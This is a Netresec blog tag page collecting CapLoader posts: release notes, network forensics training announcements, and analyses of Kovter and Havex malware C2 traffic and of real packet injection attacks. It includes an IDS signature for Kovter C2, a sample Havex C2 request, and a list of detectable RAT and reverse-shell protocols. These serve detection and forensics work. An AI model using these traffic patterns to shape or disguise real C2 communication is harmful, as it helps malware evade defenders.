NETRESEC Network Security Blog - Tag : CapLoader

CapLoader 1.5 Released

CapLoader 1.5 Logo

We are today happy to announce the release of CapLoader 1.5. This new version of CapLoader parses pcap and pcap-ng files even faster than before and comes with new features, such as a built-in TCP stream reassembly engine, as well as support for Linux and macOS.

Support for ICMP Flows

CapLoader is designed to group packets together that belong to the same bi-directional flow, i.e. all UDP, TCP and SCTP packets with the same 5-tuple (regardless of direction) are considered being part of the same flow.

/fʌɪv ˈtjuːp(ə)l/

A combination of source IP, destination IP, source port, destination port and transport protocol (TCP/UDP/SCTP) used to uniquely identify a flow or layer 4 session in computer networking.

The flow concept in CapLoader 1.5 has been extended to also include ICMP. Since there are no port numbers in the ICMP protocol CapLoader sets the source and destination port of ICMP flows to 0. The addition of ICMP in CapLoader also allows input filters and display filters like “icmp” to be leveraged.

Flows tab in CapLoader 1.5 with display filter BPF 'icmp'
Image: CapLoader 1.5 showing only ICMP flows due to display filter 'icmp'.

TCP Stream Reassembly

One of the foundations for making CapLoader a super fast tool for reading and filtering PCAP files is that it doesn’t attempt to reassemble TCP streams. This means that CapLoader’s Transcript view will show out-of-order segments in the order they were received and retransmitted segments will be displayed twice.

The basic concept has been to let other tools do the TCP reassembly, for example by exporting a PCAP for a flow from CapLoader to Wireshark or NetworkMiner.

The steps required to reassemble a TCP stream to disk with Wireshark are:

  1. Right-click a TCP packet in the TCP session of interest.
  2. Select “Follow > TCP Stream”.
  3. Choose direction in the first drop-down-list (client-to-server or server-to-client).
  4. Change format from “ASCII” to “Raw” in the next drop-down-menu.
  5. Press the “Save as...” button to save the reassembled TCP stream to disk.

Follow TCP Stream window in Wireshark

Unfortunately Wireshark fails to properly reassemble some TCP streams. As an example the current stable release of Wireshark (version 2.2.5) shows duplicate data in “Follow TCP Stream” when there are retransmissions with partially overlapping segments. We have also noticed some additional  bugs related to TCP stream reassembly in other recent releases of Wireshark. However, we’d like to stress that Wireshark does perform a correct reassembly of most TCP streams; it is only in some specific situations that Wireshark produces a broken reassembly. Unfortunately a minor bug like this can cause serious consequences, for example when the TCP stream is analyzed as part of a digital forensics investigation or when the extracted data is being used as input for further processing. We have therefore decided to include a TCP stream reassembly engine in CapLoader 1.5. The steps required to reassemble a TCP stream in CapLoader are:

  1. Double click a TCP flow of interest in the “Flows” tab to open a flow transcript.
  2. Click the “Save Client Byte Stream” or “Save Server Byte Stream” button to save the data stream for the desired direction to disk.

Transcript window in CapLoader 1-5

Extracting TCP streams from PCAP files this way not only ensures that the data stream is correctly reassembled, it is also both faster and simpler than having to pivot through Wireshark’s Follow TCP Stream feature.

PCAP Icon Context Menu

CapLoader 1.5 PCAP icon Save As...

The PCAP icon in CapLoader is designed to allow easy drag-and-drop operations in order to open a set of selected flows in an external packet analysis tool, such as Wireshark or NetworkMiner. Right-clicking this PCAP icon will bring up a context menu, which can be used to open a PCAP with the selected flows in an external tool or copy the PCAP to the clipboard. This context menu has been extended in CapLoader 1.5 to also include a “Save As” option. Previous versions of CapLoader required the user to drag-and-drop from the PCAP icon to a folder in order to save filtered PCAP data to disk.

Faster Parsing with Protocol Identification

CapLoader can identify over 100 different application layer protocols, including HTTP, SSL, SSH, RTP, RTCP and SOCKS, without relying on port numbers. The protocol identification has previously slowed down the analysis quite a bit, which has caused many users to disable this powerful feature. This new release of of CapLoader comes with an improved implementation of the port-independent protocol identification feature, which enables PCAP files to be loaded twice as fast as before with the “Identify protocols” feature enabled.

Works in Linux and macOS

One major improvement in CapLoader 1.5 is that this release is compatible with the Mono framework, which makes CapLoader platform independent. This means that you can now run CapLoader on your Mac or Linux machine if you have Mono installed. Please refer to our previous blog posts about how to run NetworkMiner in various flavors of Linux and macOS to find out how to install Mono on your computer. You will, however, notice a performance hit when running CapLoader under Mono instead of using Windows since the Mono framework isn't yet as fast as Microsoft's .NET Framework.

CapLoader 1.5 running in Linux with Mono
Image: CapLoader 1.5 running in Linux (Xubuntu).


We’d like to thank Sooraj for reporting a bug in the “Open With” context menu of CapLoader’s PCAP icon. This bug has been fixed in CapLoader 1.5 and Sooraj has been awarded an official “PCAP or it didn’t happen” t-shirt for reporting the bug.

PCAP or it didn't happen t-shirt
Image: PCAP or it didn't happen t-shirt

Have a look at our Bug Bounty Program if you also wanna get a PCAP t-shirt!

Downloading CapLoader 1.5

Everything mentioned in this blog post, except for the protocol identification feature, is available in our free trial version of CapLoader. To try it out, simply grab a copy here: (no registration needed)

All paying customers with an older version of CapLoader can download a free update to version 1.5 from our customer portal.

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Tuesday, 07 March 2017 09:11:00 (UTC/GMT)

Network Forensics Training at TROOPERS 2017

Troopers logo with Network Forensics Training

I will come back to the awesome TROOPERS conference in Germany this spring to teach my two-day network forensics class on March 20-21.

The training will touch upon topics relevant for law enforcement as well as incident response, such as investigating a defacement, finding backdoors and dealing with a machine infected with real malware. We will also be carving lots of files, emails and other artifacts from the PCAP dataset as well as perform Rinse-Repeat Intrusion Detection in order to detect covert malicious traffic.

Day 1 - March 20, 2017

The first training day will focus on open source tools that can be used for doing network forensics. We will be using the Security Onion linux distro for this part, since it contains pretty much all the open source tools you need in order to do network forensics.

Day 2 - March 21, 2017

We will spend the second day mainly using NetworkMiner Professional and CapLoader, i.e. the commercial tools from Netresec. Each student will be provided with a free 6 month license for the latest version of NetworkMiner Professional (see our recent release of version 2.1) and CapLaoder. This is a unique chance to learn all the great features of these tools directly from the guy who develops them (me!).

NetworkMiner   CapLoader

The Venue

The Troopers conference and training will be held at the Print Media Academy (PMA) in Heidelberg, Germany.

PMA Early Morning by Alex Hauk
Print Media Academy, image credit: Alex Hauk

Keeping the class small

The number of seats in the training will be limited in order to provide a high-quality interactive training. However, keep in mind that this means that the we might run out of seats for the network forensics class!

I would like to recommend those who wanna take the training to also attend the Troopers conference on March 22-24. The conference will have some great talks, like these ones:

However, my greatest takeaway from last year's Troopers was the awesome hallway track, i.e. all the great conversations I had with all the smart people who came to Troopers.

Please note that the tickets to the Troopers conference are also limited, and they seem to sell out quite early each year. So if you are planning to attend the network forensics training, then I recommend that you buy an “All Inclusive” ticket, which includes a two-day training and a conference ticket.

You can read more about the network forensics training at the Troopers website.

UPDATE 2017-02-15

The network forensics training at Troopers is now sold out. However, there are still free seats available in our network forensics class at 44CON in London in September.

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Tuesday, 24 January 2017 07:20:00 (UTC/GMT)

Bug Bounty PCAP T-shirts

As of today we officially launch the 'Netresec Bug Bounty Program'. Unfortunately we don't have the financial muscles of Microsoft, Facebook or Google, so instead of money we'll be giving away t-shirts.

PCAP or it didn't happen t-shirt
Image: PCAP or it didn't happen t-shirt

To be awarded with one of our 'PCAP or it didn't happen' t-shirts you will have to:

  • Be able to reliably crash the latest version of NetworkMiner or CapLoader, or at least make the tool misbehave in some exceptional way.
  • Send a PCAP file that can be used to trigger the bug to info[at]

Those who find bugs will also receive an honorable mention in our blog post covering the release of the new version containing the bug fix.

Additionally, submissions that play a key-role in mitigating high-severity security vulnerabilities or addressing very important bugs will be awarded with a free license of either NetworkMiner Professional or the full commercial version of CapLoader.

Happy BugBounty Hunting!

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Tuesday, 27 September 2016 09:27:00 (UTC/GMT)

Detecting Periodic Flows with CapLoader 1.4

CapLoader 1.4 logo

I am happy to announce a new release of our super-fast PCAP handling tool CapLoader! One of the new features in CapLoader makes it even easier to detect malicious network traffic without having to rely on blacklists, such as IDS signatures.

The new version of CapLoader includes new features such as:

  • Services Tab (more details below)
  • Input filter to limit number of parsed frames
  • Flow Transcript in Hosts and Services tabs
  • Keyword filtering
  • Full filtering capability for all tabs
  • Wireshark style coloring of flows, services and hosts

Services Tab

The biggest addition to version 1.4 of CapLoader is the Services tab, which presents a somewhat new way of aggregating the flows found in a PCAP file. Each row (or “service”) in the services tab represents a unique combination of <Client-IP, Server-IP, Server-port and Transport-protocol>. This means that if a single host makes multiple DNS requests to, then all those flows will be merged together as one row in the services tab.

CapLoader Services tab showing DNS requests to

This view makes it easy to see if a host is frequently accessing a particular network service. CapLoader even shows if the requests are made with regular intervals, in which case we measure the regularity and determine the most likely period between connections. The idea for measuring regularity comes from Sebastian Garcia's Stratosphere IPS, which can identify botnets by analyzing the periodicity of flows going to a C2 server.

Malware Example: Kovter.B

Here's what the Services tab looks like when loading 500 MB of PCAP files from a network where one of the hosts has been infected with malware (Win32/Kovter.B).

CapLoader service ordered on regularity

The services in the screenshot are sorted on the “Regularity” column, so that the most periodic ones are shown at the top. Services with a regularity value greater than 20 can be treated as periodic. In our case we see the top two services having a regularity of 36.9 with an estimated period of roughly 6h 2min. We can visualize the periodic behavior by opening the flows for those two services in a new instance if CapLoader. To do this, simply select the two services' rows, right-click the PCAP icon (in the top-right corner) and select “Open With > CapLoader”

CapLoader Flows tab with periodicly accessed service

As you can see in the flows tab, these services are accessed by the client on a regular interval of about 6h 2min. Doing a flow transcript of one such flow additionally reveals that the payload seems suspicious (not HTTP on TCP 80).

CapLoader transcript of Kovter.B C2 attempt (hex)
Image: Kovter.B malware trying to communicate with a C2 server

The Kovter malware failed to reach the C2 server in the attempt above, but there is a successful connection going to a C2 server at every 3'rd hour (see service number 8 in the list of the most periodically accessed services). Here's a flow transcript of one such beacon:

CapLoader Transcript of Kovter.B C2 traffic
Image: Kovter.B malware talking to C2 server at

Legitimate Periodic Services

Seven out of the 10 most periodically accessed services are actually caused by the Kovter malware trying to reach various C2 servers. The three most periodically accessed services that aren't malicious are:

  • Service #3 is a legitimate Microsoft service (SeaPort connecting to
  • Service #5 is a mail client connecting to the local POP3 server every 30 minutes.
  • Service #6 is Microsoft-CryptoAPI updating its Certificate Revocation List from every 5 hours.

Signature-Free Intrusion Detection

As shown in this blog post, analyzing the regularity of services is an efficient way of detecting C2 beacons without having to rely on IDS signatures. This method goes hand-in-hand with our Rinse-Repeat Intrusion Detection approach, which can be used to find malicous network traffic simply by ignoring traffic that seems “normal”.


Several bugs have been fixed in CapLoader 1.4, such as:

  • Support for frames with Captured Length > Real Lenght (Thanks to Dietrich Hasselhorn for finding this bug)
  • Delete key is no longer hijacked by the “Hide Selected Flows” button (Thanks to Dominik Andreansky for finding this bug).
  • CapLoader GUI now looks okay even with graphics are scaled through "custom sizing". Thanks to Roland Wagner for finding this.

Downloading CapLoader 1.4

The regularity and period detection is available in our free trial version of CapLoader. To try it out simply grab a copy here: (no registration needed)

All paying customers with an older version of CapLoader can grab a free update to version 1.4 at our customer portal.

UPDATE June 2, 2016

We're happy to announce that it is now possible to detect Kovter's C2 communication with help of an IDS signature thanks to Edward Fjellskål. Edward shared his IDS signature "NT TROJAN Downloader/Malware/ClickFraud.Win32.Kovter Client CnC Traffic" on the Emerging-Sigs mailing list yesterday. We have worked with Edward on this and the signature has been verified on our Kovter C2 dataset.

UPDATE June 8, 2016

Edward Fjellskål's IDS signature "ET TROJAN Win32.Kovter Client CnC Traffic" has now been published as an Emerging Threats open rule with SID 2022861.

#alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN Win32.Kovter Client CnC? Traffic"; flow:established,to_server; dsize:4<>256; content:!"HTTP"; content:"|00 00 00|"; offset:1; depth:3; pcre:"/^[\x11\x21-\x26\x41\x45\x70-\x79]/R"; content:!"|00 00|"; distance:0; byte_jump:1,0,from_beginning,post_offset 3; isdataat:!2,relative; pcre:!"/\x00$/"; reference:url,; classtype:trojan-activity; sid:2022861; rev:1;)

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Monday, 23 May 2016 11:55:00 (UTC/GMT)

Packet Injection Attacks in the Wild

I have previously blogged about packet injection attacks, such as the Chinese DDoS of GitHub and Covert Man-on-the-Side Attacks. However, this time I've decided to share some intelligence on real-world packet injection attacks that have been running for several months and that are still active today.

Packet Injection by Network Operators

Gabi Nakibly, Jaime Schcolnik and Yossi Rubin recently released a very interesting research paper titled “Website-Targeted False Content Injection by Network Operators”, where they analyzed packet injection attacks in the wild. Here's a snippet from the paper's abstract:

It is known that some network operators inject false content into users’ network traffic. Yet all previous works that investigate this practice focus on edge ISPs (Internet Service Providers), namely, those that provide Internet access to end users. Edge ISPs that inject false content affect their customers only. However, in this work we show that not only edge ISPs may inject false content, but also core network operators. These operators can potentially alter the traffic of all Internet users who visit predetermined websites.

The researchers analyzed 1.4 petabits of HTTP traffic, captured at four different locations; three universities and one corporation. Some of their findings have been made available as anonymized PCAP files here:

We have attempted to recreate these packet injections by visiting the same URLs again. Unfortunately most of our attempts didn't generate any injected responses, but we did manage to trigger injections for two of the groups listed by Nakibly et al. (“hao” and “GPWA”).

Redirect Race between and

We managed to get very reliable packet injections when visiting the website We have decided to share one such PCAP file containing a packet injection attack here:

This is what it looks like when loading that PCAP file into CapLoader and doing a “Flow Transcript” on the first TCP session:

CapLoader Flow Transcript of race between and
Image: CapLoader Flow Transcript (looks a bit like Wireshark's Follow-TCP-Stream)

We can see in the screenshot above that the client requests and receives two different responses with the same sequence number (3820080905):

  • The first response is a “302 Found”, forwarding the client to:
  • The second response is a “302 Moved Temporarily”, that attempts a redirect to:

Judging from the IP Time-To-Live (TTL) values we assume that the first response ( was an injected packet, while the second response ( was coming from the real webserver for

If you have an eye for details, then you might notice that the injected packet doesn't use the standard CR-LF (0x0d 0x0a) line breaks in the HTTP response. The injected packet only uses LF (0x0a) as line feed in the HTTP header.

Since the injected response arrived before the real response the client followed the injected redirect to This is what the browser showed after trying to load

Browser showing when trying to visit

SSL encryption is an effective protection against packet injection attacks. So if the user instead enters then the browser follows the real redirect to

Browser showing when using SSL to visit redirected to

Prior to the release of Gabi's packet injection paper, the only publicly available PCAP file showing a real-world packet injection was this one:

That PCAP file was released after Yun Zheng Hu (of Fox-IT) gave a presentation titled “Detecting Quantum Insert” at BroCon 2015. A video recording of Yun Zheng's talk is available online, including a live demo of the packet injection.

We have managed to re-trigger this packet injection attack as well, simply by visiting Doing so triggers two injected HTTP responses that attempts to do a redirect to The target page of the injected responses has a message from the Alibaba Group ( saying that the page has been blocked.

Website blocked message from Alibaba Group

We have decided to also share a PCAP file containing a packet injection attack for here:

This is what it looks like when that PCAP file is loaded into NetworkMiner Professional, and the Browsers tab is opened in order to analyze the various HTTP redirections:

Browsers tab in NeworkMiner Professional 2.0
Image: Browsers tab in NetworkMiner Professional 2.0

Here's a short recap of what is happening in our shared PCAP file for

  • Frame 13 : is opened
  • Frame 18 : Real server responds with an HTML refresh leading to
  • Frame 20 : The client also receives two injected packets trying to do a “403 Forbidden” that redirects to However, these injected packets arrived too late.
  • Frame 24 : The client proceeds by loading
  • Frame 25 : Two new injected responses are sent, this time successfully redirecting the client to the Alibaba page.
  • Frame 28 : The real response arrives too late.
  • Frame 43 : The client opens the Alibaba page with message about the site being blocked

Protecting against Packet Injection Attacks

The best way to protect against TCP packet injection attacks is to use SSL encryption. Relying on HTTP websites to do a redirect to an HTTPS url isn't enough, since that redirect could be targeted by packet injection. So make sure to actually type “https://” (or use a browser plug-in) in order to avoid being affected by injected TCP packets.

Referenced Capture Files

The following PCAP files have been referenced in this blog post:

For more PCAP files, please visit our list of publicly available PCAP files here:

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Tuesday, 01 March 2016 13:37:00 (UTC/GMT)

Network Forensics Training at TROOPERS

Troopers logo with Network Forensics Training

I'm happy to announce that I will teach a two-day Network Forensics class at the upcoming Troopers conference in March! The first day of training (March 14) will cover how to use open source tools to analyze intrusions and malware in captured network traffic. On day two (March 15) I will show attendees some tips and tricks for how to use software developed by us at Netresec, i.e. NetworkMiner Professional and CapLoader. This training is a rare opportunity to learn how to use this software directly from the main developer (me). Everyone taking the class will also get a free 6 month personal license for both NetworkMiner Pro and CapLoader.

Scenario and Dataset

The dataset analyzed in the class has been created using REAL physical machines and a REAL internet connection. All traffic on the network is captured to PCAP files by a SecurityOnion sensor. The scenario includes events, such as:

  • Web Defacement
  • Man-on-the-Side (MOTS) attack (much like NSA/GCHQ's QUANTUM INSERT)
  • Backdoor infection through trojanized software
  • Spear phishing
  • Use of a popular RAT (njRAT) for remote access and exfiltration
  • Infection with real malware

Class attendees will learn to analyze captured network traffic from these events in order to:

  • Investigate web server compromises and defacements
  • Detect Man-on-the-Side attacks
  • Identify covert backdoors
  • Reassemble incoming emails and attachments
  • Detect and decode RAT/backdoor traffic
  • Detect malicious traffic without having to rely on blacklists, AV or third-party detection services

Training Room
Training room at TROOPERS'15

For more details about the training, please visit Netresec's or Troopers' training pages:

 Print Media Academy in Heidelberg

The Venue

The TROOPERS conference and training take place at the Print Media Academy in Heidelberg, Germany. For more info about travel and accommodation, please visit:

Hope to see you at TROOPERS16 in Heidelberg, Germany!

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Tuesday, 15 December 2015 10:53:00 (UTC/GMT)

BPF is your Friend

CapLoader BPF

CapLoader comes with support for Berkeley Packet Filter (BPF), which makes it possible to filter network traffic based on IP addresses, protocols and port numbers without using external tools. Being able to filter captured network traffic is crucial when analyzing large sets of PCAP files as well as in order to hunt down compromised hosts with Rinse Repeat Intrusion Detection.

There are two ways to apply filters with BPF in CapLoader; you can either apply an input filter before loading your PCAPs, or you can apply a display filter after the capture files have been loaded.

Input Filter

The fastest way to filter a large set of PCAP files with CapLoader is to enter an Input Filter before loading the capture files. Having an input filter will speed up the loading time significantly, since CapLoader will not need to analyze packets and flows that don't match the BPF syntax. The downside is that you will need to know beforehand what filter you want to use. In order to apply a changed input filter you need to reload the loaded PCAP files (pressing F5 will do this for you).

CapLoader with input filter “tcp port 443”
Image: CapLoader with input filter “tcp port 443”

Display Filter

CapLoader supports display filters in order to allow filters to be changed on the fly, without having to reload the PCAP files. As the name implies, display filters affect what flows/services/hosts that are displayed in CapLoader. A changed display filter does not require the dataset to be reloaded, but it does require the GUI to update the visible flows. This GUI update will be somewhat slower compared to when setting an input filter.

CapLoader with display filter “host”
Image: CapLoader with display filter “host”

BPF Syntax

CapLoader's BPF implementation does not support the full BPF syntax. In fact, only the most central primitives are implemented, which are:

host <IP address>Flows to or from the specified IPv4 or IPv6 address
net <CIDR> Flows to or from the specified IP network, uses CIDR notation
port <port>Flows to or from the specified port number
ip6Flows using IPv6 addresses
ipFlows using IPv4 addresses
tcpTCP flows
udpUDP flows
sctpSCTP flows

More complex filter expressions can be built up by using the words and, or, not and parentheses to combine primitives. Here are some examples:

  • host and udp port 53
  • net and port 80
  • (port 80 or port 443) and not host

For all boolean algebra geeks out there we can confirm that our BPF implementation gives and precedence over or, which means that the last example above would give a different result if the parentheses were removed.

Keeping it Short

Steve McCanne gave a keynote presentation at SharkFest 2011, where he talked about how he created BPF. Steve's work was guided by Van Jacobson, who challenged him to make the BPF syntax human friendly rather than requiring the user to type a clunky filtering syntax. We've adopted this thinking and therefore allow filters like these:

    Flows to or from IP address Translates to “ip host”

  • 128.3/16
    Flows to or from the network. Translates to “ip net”

  • port 53
    Flows to or from TCP, UDP or SCTP port 53.

Try it for Free!

We've made the BPF implementation available even in the free version of CapLoader. You don't need to register to get the free version; just download, extract and run. The tool is portable, so you won't even have to install it. Visit to grab a copy and start filtering!

UPDATE 2016-05-23

With the release of CapLoader 1.4 it is now possible to apply Display Filters not only to the Flows tab, but also to the Services and Hosts tab.

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Monday, 30 November 2015 08:15:00 (UTC/GMT)

Port Independent Protocol Detection

Protocol Alphabet Soup by ThousandEyes

Our heavy-duty PCAP analyzer CapLoader comes with a feature called ”Port Independent Protocol Identification”, a.k.a. PIPI (see Richard Bejtlich's PIPI blog post from 2006). Academic research in the Traffic Measurement field often use the term ”Traffic Classification”, which is similar but not the same thing. Traffic Classification normally group network traffic in broad classes, such as Email, Web, Chat or VoIP. CapLoader, on the other hand, identifies the actual application layer protocol used in each flow. So instead of classifying a flow as ”VoIP” CapLoader will tell you if the flow carries SIP, Skype, RTP or MGCP traffic. This approach is also known as “Dynamic Protocol Detection”.

Being able to identify application layer protocols without relying on the TCP or UDP port number is crucial when analyzing malicious traffic, such as malware Command-and-Control (C2) communication, covert backdoors and rouge servers, since such communication often use services on non-standard ports. Some common examples are:

  • Many botnet C2 protocols communicate over port TCP 443, but using a proprietary protocol rather than HTTP over SSL.
  • Backdoors on hacked computers and network devices typically wither run a standard service like SSH on a port other than 22 in order to hide.
  • More advanced backdoors use port knocking to run a proprietary C2 protocol on a standard port (SYNful knock runs on TCP 80).

This means that by analyzing network traffic for port-protocol anomalies, like an outgoing TCP connection to TCP 443 that isn't SSL, you can effectively detect intrusions without having IDS signatures for all C2 protocols. This analysis technique is often used when performing Rinse-Repeat Intrusion Detection, which is a blacklist-free approach for identifying intrusions and other form of malicious network traffic. With CapLoader one can simply apply a BPF filter like “port 443” and scroll through the displayed flows to make sure they are all say “SSL” in the Protocol column.

CapLoader detects non-SSL traffic to Image: Miuref/Boaxxe Trojan C2 traffic to "1.web-counter[.]info" on TCP 443 doesn't use SSL (or HTTPS)

Statistical Analysis

CapLoader relies on statistical analysis of each TCP, UDP and SCTP session's behavior in order to compare it to previously computed statistical models for known protocols. These statistical models are generated using a multitude of metrics, such as inter-packet delays, packet sizes and payload data. The port number is, on the other hand, a parameter that is intentionally not used by CapLoader to determine the application layer protocol.

The PIPI/Dynamic Protocol Detection feature in CapLoader has been designed to detect even encrypted and obfuscated binary protocols, such as Tor and Encrypted BitTorrent (MSE). These protocols are designed in order to deceive protocol detection mechanisms, and traditional signature based protocol detection algorithms can't reliably detect them. The statistical approach employed by CapLoader can, on the other hand, actually detect even these highly obfuscated protocols. It is, however, important to note that being a statistical method it will never be 100% accurate. Analysts should therefore not take for granted that a flow is using the protocol stated by CapLoader. There are some situations when it is very difficult to accurately classify an encrypted protocol, such as when the first part of a TCP session is missing in the analyzed data. This can occur when there is an ongoing session that was established before the packet capture was started.

Identified Protocols

The following protocols are currently available for detection in CapLoader's protocol database:

AOL Instant Messenger
BitTorrent Encrypted - MSE
DropBox LSP
eDonkey Obfuscated
Gh0st RAT
Groove LAN DPP
MikroTik NDP
Modbus TCP
MSN Messenger
NetBIOS Datagram Service
NetBIOS Name Service
NetBIOS Session Service
Poison Ivy RAT
Reverse Shell
SopCast P2P
Spotify P2P
Spotify Server
TeamViewer UDP
XMPP Jabber
Zeus TCP
Zeus UDP

The list of implemented protocols is constantly being increased with new protocols.

PIPI in NetworkMiner

NetworkMiner Logo

NetworkMiner Professional, which is the commercial version of NetworkMiner, also comes with an implementation of our protocol detection mechanism. Even though NetworkMiner Professional doesn't detect as many protocols as CapLoader, the PIPI feature built into NetworkMiner Pro still helps a lot when analyzing HTTP traffic on ports other that 80 or 8080 as well as in order to reassemble files downloaded from FTP or TFTP servers running on non-standard ports.


More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Tuesday, 06 October 2015 09:05:00 (UTC/GMT)

CapLoader 1.3 Released

CapLoader Logo

A new version of our heavy-duty PCAP parser tool CapLoader is now available. There are many new features and improvements in this release, such as the ability to filter flows with BPF, domain name extraction via passive DNS parser and matching of domain names against a local white list.

Filtering with BPF

The main focus in the work behind CapLoader 1.3 has been to fully support the Rinse-Repeat Intrusion Detection methodology. We've done this by improving the filtering capabilities in CapLoader. For starters, we've added an input filter, which can be used to specify IP addresses, IP networks, protocols or port numbers to be parsed or ignored. The input filter uses the Berkeley Packet Filter (BPF) syntax, and is designed to run really fast. So if you wanna analyze only HTTP traffic you can simply write “port 80” as your input filter to have CapLoader only parse and display flows going to or from port 80. We have also added a display filter, which unlike Wireshark also uses BPF. Thus, once a set of flows is loaded one can easily apply different display filters, like “host” or “net”, to apply different views on the parsed data.

CapLoader BPF Input Filter and Display Filter
Image: CapLoader with input filter "port 80 or port 443" and display filter "not net".

The main differences between the input filter and display filter are:

  • Input filter is much faster than the display filter, so if you know beforehand what ports, protocols or IP addresses you are interested in then make sure to apply them as an input filter. You will notice a delay when applying a display filter to a view of 10.000 flows or more.
  • In order to apply a new input filter CapLoader has to reload all the opened PCAP files (which is done by pressing F5). Modifying display filters, on the other hand, only requires you to press Enter or hit the “Apply” button.
  • Previously applied display filters are accessible in a drop-down menu in the GUI, but no history is kept of previous input filters.

NetFlow + DNS == true

The “Flows” view in CapLoader gives a great overview of all TCP, UDP and SCTP flows in the loaded PCAP files. However, it is usually not obvious to an analyst what every IP address is used for. We have therefore added a DNS parser to CapLoader, so that all DNS packets can be parsed in order to map IP addresses to domain names. The extracted domain names are displayed for each flow, which is very useful when performing Rinse-Repeat analysis in order to quickly remove “known good servers” from the analysis.

Leveraging the Alexa top 1M list

As we've show in in our previous blog post “DNS whitelisting in NetworkMiner”, using a list of popular domain names as a whitelist can be an effective method for finding malware. We often use this approach in order to quickly remove lots of known good servers when doing Rinse-Repeat analysis in large datasets.

Therefore, just as we did for NetworkMiner 1.5, CapLoader now includes Alexa's list of the 1 million most popular domain names on the Internet. All domain names, parsed from DNS traffic, are checked against the Alexa list. Domains listed in the whitelist are shown in CapLoader's “Server_Alexa_Domian” column. This makes it very easy to sort on this column in order to remove (hide) all flows going to “normal” servers on the Internet. After removing all those flows, what you're left with is pretty much just:

  • Local traffic (not sent over the Internet)
  • Outgoing traffic to either new or obscure domains

Manually going through the remaining flows can be very rewarding, as it can reveal C2 traffic from malware that has not yet been detected by traditional security products like anti-virus or IDS.

Flows in CapLoader with DNS parsing and Alexa lookup
Image: CapLoader with malicious flow to 1.web-counter[.]info (Miuref/Boaxxe Trojan) singled out due to missing Alexa match.

Many new features in CapLoader 1.3

The new features highlighted above are far from the only additions made to CapLoader 1.3. Here is a more complete list of improvements in this release:

  • Support for “Select Flows in PCAP” to extract and select 5-tuples from a PCAP-file. This can be a Snort PCAP with packets that have triggered IDS signatures. This way you can easily extract the whole TCP or UDP flow for each signature match, instead of just trying to make sense of one single packet per alert.
  • Improved packet carver functionality to better carve IP, TCP and UPD packets from any file. This includes memory dumps as well as proprietary and obscure packet capture formats.
  • Support for SCTP flows.
  • DNS parser.
  • Alexa top 1M matching.
  • Input filter and display filter with BPF syntax.
  • Flow Producer-Consumer-Ratio PCR.
  • Flow Transcript can be opened simply by double-clicking a flow.
  • Find form updated with option to hide non-matching flows instead of just selecting the flows that matched the keyword search criteria.
  • New flow transcript encoding with IP TTL, TCP flags and sequence numbers to support analysis of Man-on-the-Side attacks.
  • Faster loading of previously opened files, MD5 hashes don't need to be recalculated.
  • A selected set of flows in the GUI can be inverted simply by right-clicking the flow list and selecting “Invert Selection” or by hitting Ctrl+I.

Downloading CapLoader 1.3

All these new features, except for the Alexa lookup of domain names, are available in our free trial version of CapLoader. So to try out these new features in CapLoader, simply grab a trial download here: (no registration needed)

All paying customers with an older version of CapLoader can grab a free update for version 1.3 at our customer portal.

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Monday, 28 September 2015 07:30:00 (UTC/GMT)

Observing the Havex RAT

Havex RAT, original 'Street-rat' by Edal Anton Lefterov. Licensed under Creative Commons Attribution-Share Alike 3.0

It has, so far, been publicly reported that three ICS vendors have spread the Havex Remote-Access-Tool (RAT) as part of their official downloads. We've covered the six pieces of software from these three vendors in our blog post ”Full Disclosure of Havex Trojans”. In this blog post we proceed by analyzing network traffic generated by Havex.

Indicators of Compromise

Before going into details of our analysis we'd like to recommend a few other resources that can be used to detect the Havex RAT. There are three Havex IDS signatures available via Emerging Threats. There are also Yara rules and OpenIOC signatures available for Havex. Additionally, the following domains are known to be used in the later versions (043 and 044) of Havex according to Kaspersky:


HTTP Command-and-Control

The Havex RAT Command-and-Control (C2) protocol is based on HTTP POST requests, which typically look something like this:

POST /blogs/wp-content/plugins/buddypress/bp-settings/bpsettings-src.php?id=84651193834787196090098FD80-c8a7af419640516616c342b13efab&​v1=043&​v2=170393861&​q=45474bca5c3a10c8e94e56543c2bd

As you can see, four variables are sent in the QueryString of this HTTP POST request; namely id, v1, v2 and q. Let's take a closer look to see what data is actually sent to the C2 server in the QueryString.

Param Description Common Values
id host identifier id=[random number][random hex]-c8a7af419640516616c342b13efab
id=[random number][random-hex]-003f6dd097e6f392bd1928066eaa3
v1 Havex version 043
v2 Windows version 170393861 (Windows XP)
498073862 (Windows 7)
498139398 (Windows 7, SP1)
q Unknown q=45474bca5c3a10c8e94e56543c2bd (Havex 043)
q=0c6256822b15510ebae07104f3152 (Havex 043)
q=214fd4a8895e07611ab2dac9fae46 (Havex 044)
q=35a37eab60b51a9ce61411a760075 (Havex 044)

Analyzing a Havex PCAP

I had the pleasure to discuss the Havex Malware with Joel Langill, when we met at the 4SICS conference in Stockholm last month. Joel was nice enough to provide me with a 800 MB PCAP file from when he executed the Havex malware in an Internet connected lab environment.

CapLoader Transcript of Havex C2 traffic
Image: CapLoader transcript of Havex C2 traffic

I used the command line tool NetworkMinerCLI (in Linux) to automatically extract all HTTP downloads from Joel's PCAP file to disk. This way I also got a CSV log file with some useful metadata about the extracted files. Let's have a closer look at what was extracted:

$ mono NetworkMinerCLI.exe -r new-round-09-setup.pcap
Closing file handles...
970167 frames parsed in 1337.807 seconds.

$ cut -d, -f 1,2,3,4,7,12 new-round-09-setup.pcap.FileInfos.csv | head

